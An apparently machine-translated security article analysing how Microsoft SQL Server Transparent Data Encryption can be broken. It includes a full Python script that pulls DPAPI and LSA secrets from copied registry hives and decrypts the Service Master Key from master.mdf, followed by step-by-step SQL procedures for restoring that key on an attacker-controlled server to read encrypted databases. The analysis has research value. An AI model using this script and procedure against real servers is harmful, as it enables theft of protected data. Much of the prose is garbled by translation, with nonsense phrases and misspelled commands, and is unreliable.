TDE encryption and Cracking Analysis of Microsoft SQL Server transparent data (Part 1)

TDE encryption and Cracking Analysis of Microsoft SQL Server transparent data (Part 1)

This survey started with a discussion with the customer about whether they should install TDE. If we want to select the most suitable tool for static data encryption, it is not TDE, but it has a significant defect.

Video

 

Any software that encrypts its own data has a functional problem: if it wants to use its own data, it needs to decrypt its own data. For example, if the SQL Server wants to write data to the encrypted database and then return the data to the user, it needs a suitable decryption key for this operation.

If the system still needs to boot without manual intervention, sensitive functions cannot be independently embedded into protective hardware, and keys must be stored in a certain position of the system, so that the server can access it at startup. However, if the key is stored in the system, everyone has access permission. If the whole system is stored in the north, the key is also backed up, so all data is easily read.

"Obviously", the solution is to encrypt the key before storing all the data. Microsoft's TDE does that. Unfortunately, it does not really solve this problem, because in order to decrypt the encrypted key, you also need to store the key for decryption. All these actions are to conceal the storage of keys.

Obviously, the solution is to encrypt the key... The tool is still Microsoft's TDE, but it still has the same problem. It always does this. Although you have to stop increasing the number of layers and store the encryption key at the bottom, all the encryption will collapse instantly if you find the key.

This basic and inevitable logic makes many people choose to refuse to use the software. We don't believe that such a seemingly meaningless or even untrustworthy security mechanism is sold by such a large company. It's terrible. Some people must see this mechanism before they can believe it. Therefore, we decided to use this article to explain in detail TDE and how to crack TDE.

TDE Encryption

Before we start to crack TDE, Let's first look at how all the data is encrypted. The following figure shows all the encryption steps we need. If this method is not a model of fuzzy security, I don't know what it is.

 

 

In fact, it is slightly changed, because in some cases, there are many paths for accessing the same data, and some very subtle aspects of the process are not mentioned. We are most interested in the given path because it is easy to copy.

Starting from the bottom layer, we will introduce the LSA key, the most basic key at the bottom layer, and the other layers will be on this layer. It is stored in the registry on the disk after being slightly blurred (instead of a password), but this is well known, so the method it provides is not safe.

Because the LSA key and several other keys are stored in other files, the entire system is split. The blue chart shows the basic files that contain key information:

1. Registry backup or configuration of the single-element file SYSTEM, SECURITY, and SOFTWARE from % WINDIR %/System32/Config

2. Primary Key from DPAPI %/System32/Microsoft/Protect/S-1-5-18

3. master database and target user database. The database can be recovered from an SQL backup file or raw. mdf file. When recovering from the. mdf file, it is useful to have the corresponding. ldf database log file.

Once this information is known, all encryption keys can be directly restored without brute-force cracking.

Cracking TDE

From the perspective of SQL server, Sevice Master Key (SMK) is used to control all keys ). Each server/cluster is unique and protects each layer on it. It is stored in the master database that has never been encrypted using TDE. However, it is stored as an encryption value in the primary database, so it still needs to be decrypted.

The general method to crack TDE is to copy the database from the target service area or backup, and then place the database in a new "Recover" SQL Server controlled by us. By copying SMK, all encrypted databases are automatically decrypted by the SQL server on the restored server. Restore data on the server to be viewed and exported. Therefore, we do not need to fully understand what the SQL server has done with the database encryption key, because we will use it to decrypt all the content for ourselves.

The following simple python script is used for file collection and extraction of SMK. Most of the work involved is restoring the DPAPI key. thanks to the excellent work of the creddump and dpapick projects, we have successfully obtained this key.

#!/usr/bin/env python # -*- coding: utf-8 -*- from DPAPI.Core import blob # https://pypi.python.org/pypi/dpapick/0.3 from DPAPI.Core import masterkey from DPAPI.Core import registry from optparse import OptionParser from Registry import Registry # https://github.com/williballenthin/python-registry from bitstring import ConstBitStream import re import os import sys def search_with_blob(entropy, dpapi_system, mkp, tdeblob):   """Try decrypting with each master key"""   wblob = blob.DPAPIBlob(tdeblob)   mks = mkp.getMasterKeys(wblob.mkguid)   for mk in mks:     if mk.decrypted:       wblob.decrypt(mk.get_key(), entropy)       if wblob.decrypted:         print("Decrypted service master key: %s" % wblob.cleartext.encode('hex'))       else:         print("Decryption failed") def search_with_entropy(entropy, dpapi_system, mkp, masterdb):   """Search for DPAPI blobs in master database"""   masterdb = ConstBitStream(filename = options.masterdb)   for found in masterdb.findall('0x01000000D08C9DDF0115D1118C7A00C04FC297EB', bytealigned = True):     blobsegment = masterdb[found:found+512*8]  # Extraneous bytes ignored     search_with_blob(entropy, dpapi_system, mkp, blobsegment.tobytes()) parser = OptionParser() parser.add_option("--masterkey", metavar='DIRECTORY', dest='masterkeydir') parser.add_option("--system", metavar='HIVE', dest='system') parser.add_option("--security", metavar='HIVE', dest='security') parser.add_option("--software", metavar='HIVE', dest='software') parser.add_option("--masterdb", metavar='FILE', dest='masterdb') (options, args) = parser.parse_args() reg = registry.Regedit() secrets = reg.get_lsa_secrets(options.security, options.system) dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] mkp = masterkey.MasterKeyPool() mkp.loadDirectory(options.masterkeydir) mkp.addSystemCredential(dpapi_system) mkp.try_credential_hash(None, None) with open(options.software, 'rb') as f:   reg = Registry.Registry(f)   regInstances = reg.open('Microsoft\\Microsoft SQL Server\\Instance Names\\SQL')   for v in regInstances.values():     print("Checking SQL instance %s" % v.value())     regInst = reg.open('Microsoft\\Microsoft SQL Server\\%s\\Security' % v.value())     entropy = regInst['Entropy'].value()     search_with_entropy(entropy, dpapi_system, mkp, options.masterdb) 

It is convenient that scripts are cross-platform, so they do not need to be run on Windows machines. This means that you do not need to install software in the target service area. Some files may leak out (or use backup.

Once the DPAPI key is restored, this script searches the master database for the encrypted SMK. These smks are encrypted using a special DPAPI blob structure. The DPAPI structure always contains the supplier GUID: df9d8cd0-1501-11d1-8c7a-0c04fc297eb, which is easily found. Because the primary database is not encrypted, we can extract IDs only using SQL server, but more coordination and attempts are required. Because GUID is very restricted, this fast and despicable Direct Search Method in the primary database is used to prove the concept. This also means that even if the file format is different, it also applies to SQL backup files or local. dmf files.

Execute the command to direct only to the desired file and continue:

$ ./tde.py --masterkey=S-1-5-18 --system=SYSTEM --security=SECURITY --software=SOFTWARE --masterdb=master.mdf

The result is a simple unencrypted SMK:

Decrypted service master key: 999338193ab37c38c3aa99df062e2f5ca96b7dbc87542af9d61e0dc8a473c1f9

SQL Server backs up and restores SMK using the following command line:

BACKUP SERVICE MASTER KEY TO FILE = 'some-file-to-write-to'     ENCRYPTION BY PASSWORD = 'some-password' 

In addition, they can be restored to a new server, using the command line:

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from'     DECRYPTION BY PASSWORD = 'some-password' [FORCE]

In addition, some master server keys can be decrypted and accessed by using SMK recovery. Unfortunately, we do not have a backup file for the SMK from the target machine (in fact, in many attacks, we can only understand the BACKUP command, but do not perform backup recovery, etc ).

In this example, we have a recovery and other original keys, but there is no backup file. An obvious method to install SMK is to encrypt SMK by using DPAPI system creden on the recovery computer, and then stored in the master database. The dpapick library does not currently support encryption. I am so annoyed that I skipped this method that does not take too much time and effort. On the contrary, I used the fast and mean method to create an SMK backup file, but it operated a lot manually. These can be simplified, but to prove this concept, I used a simple cuckoo's egg method. The video shows this method-terminal-to-interrupt recovery demo. This method uses the recovery key to generate an SMK backup file, and we can recover it on SQL server.

The following steps use the new SMK backup file to restore a TDE backup (from the. bak file) to restore the server:

1. Start SQL server (-m startup option) in single-user mode)

2. Restore the primary database

RESTORE DATABASE MASTER FROM DISK = 'c:\...\master.bak' WITH REPLACE;

3. Restart the SQL Service (still in single-user mode)

4. Add an administrator user/reset the Administrator Password

5. Restart the service in common multi-user mode.

6. Use the FORCE option to restore SMK

ESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from'     DECRYPTION BY PASSWORD = 'some-password' FORCE

7. Restore the target database

8. Refresh the Database List

Follow these steps to restore the. MDF/. LDF file:

1. Stop the SQL Service

2. Copy the. mdf/. ldf file instead of the current primary database.

3. Enable the SQL Server (-m startup option) in single-user mode)

4. Add an administrator user/reset the Administrator Password

5. Restart the service in common multi-user mode.

6. Use the FORCE option to restore SMK

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from'     DECRYPTION BY PASSWORD = 'some-password' FORCE

7. Offline acquisition of the target database

8. Make the target database online again

9. Refresh the Database List

At this point, we completely restored and were able to access the encrypted database.

In the above content, we introduced the TDE mechanism and how to crack TDE. later articles will continue to go deep into TDE and reveal whether TDE should be used.